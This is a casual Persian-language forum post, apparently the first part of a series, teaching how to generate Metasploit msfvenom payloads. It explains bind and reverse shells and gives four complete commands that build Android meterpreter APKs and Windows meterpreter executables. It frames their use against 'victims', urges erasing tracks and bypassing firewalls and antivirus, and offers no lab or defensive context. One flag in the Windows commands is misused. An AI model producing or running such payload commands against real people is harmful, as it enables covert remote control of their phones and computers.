به نام خدا
سلام بر همه عزیزان، متا اسپلویت، ابزار بزرگی هست که تیم سازنده ی اون، اکسپلویت های مختلف رو درونش جمع کرده و با کمی تغییر باعث شده تا ما بتونیم از این ابزار استفاده کنیم، این ابزار اوپن سورس است، در اینجا چندین پیلود برای سیستم عامل ها و چند پیلود برای زبان های برنامه نویسی دیگه معرفی کنیم، در اینجا ما دو پیلود داریم، پیلود BIND و پیلود REVERSE ، در پیلود Bind، یک پورت روی سیستم قربانی باز میشه و دستوراتی رو مهاجم ارسال میکنه و اجرا میشه (: در پیلود reverse برعکس این قضیه است یعنی قربانی به ما وصل میشه (: عالیه این پیلوده D: یه آقایی هم به من قول داد اینو بسازه بهم یه چیزی میده :| بعله با خود شمام :| خب، اول بریم یکم اندروید رو انگولک کنیم، برید وارد ترمینال شید، خب در اینجا از یک ابزار تو متا اسپلویت به اسم MSFVENOM مخفف Metasplot freamwork Venom است (: ونوم یعنی زهر مار :| خب با این ابزار بریم یه زهری بریزیم :| خب این دستور چند تا سوییچ داره، اول دش پی یا -p که پیلودمون رو ست میکنه، دو آرگومان دیگه به اسم LPORT و LHOST که پورت مورد نظر شما و ایپی لوکال شما رو میگیره (:
((اگر طرف خارج از شبکه ی شماست باید پورت فورواردینگ رو انجام بدید))
یه سوییچ هم هست -o که هیچی نیست مسیر ذخیره سازی پیلوده... خب این پیلود برای اندرویده که جای IP باید ایپی لوکالتون رو بدید. جای PORT هم یه پورت بدید دیگه :|
اینم پیلود BIND اندروید :
msfvenom -p android/meterpreter/bind_tcp LPORT=PORT LHOST=IP -o /root/Desktop/hack.apk
اینم پیلود ریورسه، من خودم از این استفاده میکنم، توجه کنید یادتون نره پاک کردن رد پا و... :
msfvenom -p android/meterpreter/reverse_tcp LPORT=PORT LHOST=IP -o /root/Desktop/hack.apk
خب بریم یکم ویندوز رو انگولک کنیم (: البته باید فایروال و آنتی ویروس رو دور بزنید :D به هر حال از رو نمیرن دیگه کاریش نمیشه کرد :| ولی ما هم از رو نمیرویم! ما همه با هم هستیم :|
پیلود ویندوز BIND :
msfvenom -p windows/meterpreter/bind_tcp LPORT=PORT LHOST=IP -f /root/Desktop/vivi32.exe
پیلود ویندوز reverse :
msfvenom -p windows/meterpreter/reverse_tcp LPORT=PORT LHOST=IP -f /root/Desktop/vivi32.exe
خب اینم از این ): این قسمت اول بود ): قسمت بعدی مک و لینوکس رو میگم، زبونا هم هستنااا D: مرسی از شما عزیزان...شما هم به قولت عمل کن برادر :|
نویسنده: Attrib 32
سلام ، لطفا یه گروه تو تلگرام بزنید دیگه